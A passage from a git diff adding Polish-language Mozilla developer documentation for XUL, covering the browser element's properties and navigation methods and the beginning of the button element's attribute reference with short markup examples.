+</dd><dd> Własność tylko do odczytu zawierająca <a href="pl/NsIContentViewerEdit">nsIContentViewerEdit</a>, który zajmuje się operacjami związanymi ze schowkiem w danym dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentViewerFile">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentViewerFile">contentViewerFile</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIContentViewerFile">nsIContentViewerFile</a></i>
+</dd><dd> Referencja do interfejsu <a href="pl/NsIContentViewerFile">nsIContentViewerFile</a> dla dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentWindow">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentWindow">contentWindow</a></span></code></dt>
+ <dd>
+ Typ: <em>window</em></dd>
+ <dd>
+ Własność tylko do odczytu zawierająca obiekt okna w elemencie.</dd>
+</dl>
+<p></p></div>
+<div id="p-currentURI">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentURI">currentURI</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIURI">nsIURI</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca aktualnie wczytany adres URL. Aby zmienić adres URL, należy zastosować metodę <span id="m-loadURI"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURI">loadURI</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-docShell">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/docShell">docShell</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocShell">nsIDocShell</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocShell">nsIDocShell</a> dla dokumentu.
+</dd></dl>
+
+</div>
+<div id="p-documentCharsetInfo">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/documentCharsetInfo">documentCharsetInfo</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocumentCharsetInfo">nsIDocumentCharsetInfo</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocumentCharsetInfo">nsIDocumentCharsetInfo</a> dla dokumentu, stosowany do określenia, które kodowanie znaków powinno być zastosowane do wyświetlenia dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-homePage">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/homePage">homePage</a></span></code>
+</dt><dd> Typ: <i>tekstowy adres URL strony domowej</i>
+</dd><dd> Ta własność przechowuje adres strony startowej ustawionej przez użytkownika.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-markupDocumentViewer">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/markupDocumentViewer">markupDocumentViewer</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIMarkupDocumentViewer">nsIMarkupDocumentViewer</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca <a href="pl/NsIMarkupDocumentViewer">nsIMarkupDocumentViewer</a>, który jest odpowiedzialny za rysowanie dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-browser.preferences">
+<dl><dt> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/browser.preferences">preferences</a>
+</dt><dd> Typ: <i><a href="pl/NsIPrefService">nsIPrefService</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIPref">nsIPref</a> służący do pobierania i ustawiania właściwości użytkownika.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-securityUI">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/securityUI">securityUI</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsISecureBrowserUI">nsISecureBrowserUI</a></i>
+</dd><dd> Własność tylko do odczytu przechowująca obiekt, który może zostać użyty do określenia poziomu bezpieczeństwa we wczytanym dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-sessionHistory">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/sessionHistory">sessionHistory</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsISHistory">nsISHistory</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsISHistory">nsISHistory</a>, przechowujący historię sesji.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-webBrowserFind">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webBrowserFind">webBrowserFind</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a>, którego można użyć do szukania tekstu w dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-webNavigation">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webNavigation">webNavigation</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebNavigation">nsIWebNavigation</a></i>
+</dd><dd> Własność tylko do odczytu zawiera obiekt <a href="pl/NsIWebNavigation">nsIWebNavigation</a> dla dokumentu. Wiele z jego metod może być wywoływanych bezpośrednio na dokumencie; są to takie metody jak <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack</a></code></span> i <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward</a></code></span>. Zawiera także stałe wczytywania wykorzystywane przez <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span> i <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-webProgress">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webProgress">webProgress</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebProgress">nsIWebProgress</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebProgress">nsIWebProgress</a>, który jest stosowany do monitorowania postępu podczas ładowania dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<p></p><p></p><dl>
+ <dt>
+ <span id="m-addProgressListener"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addProgressListener">addProgressListener( listener )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Dodaje do przeglądarki element nasłuchujący postęp, który będzie monitorował wczytywane dokumenty. Element nasłuchujący powinien implementować interfejs <a href="pl/NsIWebProgressListener">nsIWebProgressListener</a>.</dd>
+</dl>
+<dl><dt> <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przejście o jedną stronę wstecz w historii.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przejście o jedną stronę do przodu w historii.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-goHome"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goHome">goHome()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje stronę startową użytkownika do przeglądarki.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-gotoIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/gotoIndex">gotoIndex( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przechodzi do strony o podanym indeksie w historii. Użyj wartości dodatniej, by przejść w przód, a ujemnej by w tył.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-loadURI"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURI">loadURI( uri, adres-odsyłający, kodowanie-znaków )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje dokument spod danego adresu URL, z danym kodowaniem i adresem odsyłającym.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags( uri, flagi, adres-odsyłający, kodowanie-znaków, postData )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje adres URL do dokumentu z określonymi flagami wczytywania, pozwala określić adres odsyłający, kodowanie znaków oraz dane przesyłane metodą POST. Poza flagami dozwolonymi dla metody <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span>, dostępne są także:
+</dd></dl>
+<ul><li> <code>LOAD_FLAGS_IS_REFRESH</code>: Ta flaga jest stosowana, kiedy adres URL jest wczytywany ponieważ znacznik meta jest ustawiony na odświeżanie lub przekierowanie. </li><li> <code>LOAD_FLAGS_IS_LINK</code>: Ta flaga jest stosowana, kiedy adres URL jest wczytywany po kliknięciu odnośnika przez użytkownika. Nagłówek HTTP Referer jest odpowiednio ustawiany.
+</li><li> <code>LOAD_FLAGS_BYPASS_HISTORY</code>: Nie dodaje adresu URL do historii sesji.
+</li><li> <code>LOAD_FLAGS_REPLACE_HISTORY</code>: Zamienia bieżący adres URL w historii sesji na nowy. Ta flaga może zostać użyta przy przekierowywaniu.
+</li></ul>
+<p><br>
+</p>
+<dl><dt> <span id="m-reload"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reload">reload()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje ponownie dokument w przeglądarce.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags( flags )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje ponownie dokument w przeglądarce z danymi flagami wczytywania. Można użyć poniższych flag; wszystkie one są stałymi własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webNavigation">webNavigation</a></span></code> (lub interfejsu <a href="pl/NsIWebNavigation">nsIWebNavigation</a>). Flagi te można łączyć przy użyciu symbolu ( <code>|</code> ).
+</dd></dl>
+<ul><li> <code>LOAD_FLAGS_NONE</code>: Bez specjalnych flag. Dokument wczytywany jest normalnie.
+</li><li> <code>LOAD_FLAGS_BYPASS_CACHE</code>: Ponownie wczytuje stronę, bez względu na to, czy strona znajduje się w pamięci podręcznej. Flaga ta jest stosowana, kiedy użytkownik naciśnie przycisk Odśwież przytrzymując wciśnięty klawisz Shift.
+</li><li> <code>LOAD_FLAGS_BYPASS_PROXY</code>: Ponownie wczytuje stronę, ignorując serwery proxy. </li><li> <code>LOAD_FLAGS_CHARSET_CHANGE</code>: Flaga ta jest stosowana, gdy zachodzi konieczność odświeżenia dokumentu, ponieważ zmieniono kodowanie znaków.
+</li></ul>
+<p><br>
+</p>
+<dl><dt> <span id="m-removeProgressListener"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeProgressListener">removeProgressListener( listener )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Usuwa element nasłuchujący postęp wczytywania z przeglądarki.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-stop"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/stop">stop()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Odpowiednik naciśnięcia przycisku Zatrzymaj. Metoda ta zatrzymuje wczytywanie bieżącego dokumentu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/button/index.html b/files/pl/mozilla/tech/xul/button/index.html
new file mode 100644
index 0000000000..7c7572481f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/button/index.html
@@ -0,0 +1,457 @@
+---
+title: button
+slug: Mozilla/Tech/XUL/button
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/button
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Przycisk, który może zostać naciśnięty przez użytkownika. Uchwyty zdarzeń można zastosować do nasłuchiwania myszki, klawiatury i innych zdarzeń. Zazwyczaj jest renderowany początkowo jako szary kwadrat. Można określić etykietę przycisku stosując atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> lub poprzez wpisanie treści wewnątrz przycisku.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Dodawanie_przycisk%c3%b3w">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-autoCheck">autoCheck</a>, <a href="#a-checkState">checkState</a>, <a href="#a-checked">checked</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-dir">dir</a>, <a href="#a-disabled">disabled</a>, <a href="#a-dlgType">dlgType</a>, <a href="#a-group">group</a>, <a href="#a-icon">icon</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-open">open</a>, <a href="#a-orient">orient</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-button.type">type</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-autoCheck">autoCheck</a>, <a href="#p-checkState">checkState</a>, <a href="#p-checked">checked</a>, <a href="#p-command">command</a>, <a href="#p-crop">crop</a>, <a href="#p-dir">dir</a>, <a href="#p-disabled">disabled</a>, <a href="#p-dlgType">dlgType</a>, <a href="#p-group">group</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-open">open</a>, <a href="#p-orient">orient</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-type">type</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:XUL_ref_button.png"></div>
+<pre class="eval">&lt;button label="Press Me"
+ oncommand="alert('You pressed me!');"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-autoCheck">
+
+<dl><dt> <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Gdy atrybut ten ma wartość <code>true</code> lub nie jest ustawiony, stan zaznaczenia przycisku będzie przełączany przy każdym jego naciśnięciu. Gdy wartość została ustawiona na <code>false</code>, stan zaznaczenia musi być dopasowany ręcznie.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-checkState">
+
+<dl><dt> <code id="a-checkState"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkState">checkState</a></code>
+</dt><dd> Typ: <i>integer</i>, wartość <code>0</code>, <code>1</code> lub <code>2</code>
+</dd><dd> Ten atrybut może być użyty do utworzenia przycisków trójstanowych, ponumerowanych 0, 1 i 2. W stanie 0 lub 1 naciśnięcie przycisku spowoduje przełączenie go do stanu przeciwnego. To znaczy, że przycisk działa podobnie jak pole wyboru, z wyjątkiem tym, że jest tu także stan trzeci, który musi być ustawiony ręcznie poprzez dostosowanie stanu zaznaczenia. Jeśli chcemy dostosować różne zachowania stanu przycisku, musimy ustawić atrybut <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code> na <code>false</code> i dostosować stany przycisku za pomocą skryptu. Atrybut <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> musi być ustawiony na <code>checkbox</code> dla przycisków ze stanem zaznaczenia. Stałe dla dostępnych wartości dla tego atrybutu znajdują się w interfejsie <a href="pl/NsIDOMXULButtonElement">nsIDOMXULButtonElement</a>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-checked">
+
+<dl><dt> <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy przycisk jest zaznaczony. Konieczne jest ustawienie atrybutu <code><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></code> na <code>checkbox</code> lub <code>radio</code>, aby zmiana atrybutu <code>checked</code> mogła odnosić jakiekolwiek skutki.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-dir">
+
+<dl><dt> <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Kierunek, w którym umieszczane są elementy potomne danego elementu. </dd></dl>
+<ul><li> <code>normal</code>: Elementy są umieszczane od lewej do prawej lub od góry do dołu, w kodzie XUL.
+</li><li> <code>reverse</code>: Elementy są umieszczane od prawej do lewej lub od dołu do góry. Jest to odwrotność porządku, w którym zostały one umieszczone w kodzie XUL.
+</li></ul>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-dlgType">
+
+<dl><dt> <code id="a-dlgType"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dlgType">dlgType</a></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ dialogowy używany jest tylko, kiedy przycisk znajduje się w oknie dialogowym. Dzięki temu można zastąpić standardowe przyciski okna dialogowego własnymi przyciskami, z tym że metody obsługi zdarzeń okna dialogowego nadal będą funkcjonować. Przykładowo, jeśli <code>dlgType</code> ma wartość <code>accept</code>, przycisk zastąpi przycisk akceptujący okna dialogowego, zwykle mający etykietę <code>OK</code>. Stosowanie tego atrybutu na przycisku nie znajdującym się w oknie dialogowym nie odniesie żadnego skutku. Poniżej przedstawiono możliwe wartości tego atrybutu:
+</dd></dl>
+<ul><li> <code>accept</code>: przycisk OK akceptujący zmiany po naciśnięciu.
+</li><li> <code>cancel</code>: przycisk Anuluj anulujący daną operację.
+</li><li> <code>help</code>: przycisk Pomoc wyświetlający informacje na temat okna dialogowego.
+</li><li> <code>disclosure</code>: przycisk służący do wyświetlenia dodatkowych informacji. Może to być zwykły przycisk lub trójkąt rozwijający.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-group">
+
+<dl>
+ <dt>
+ <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ nazwa grupy jako łańcuch znaków</i>
+ &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dd>
+ <dd>
+ Przyciski z tą samą wartością atrybutu <code>group</code> należą do tej samej grupy. Tylko jeden przycisk z grupy może być zaznaczony w danej chwili. Jeśli użytkownik zaznaczy jeden z przycisków, inne z tej grupy zostaną odznaczone.</dd>
+</dl>
+</div>
+<div id="a-icon">
+
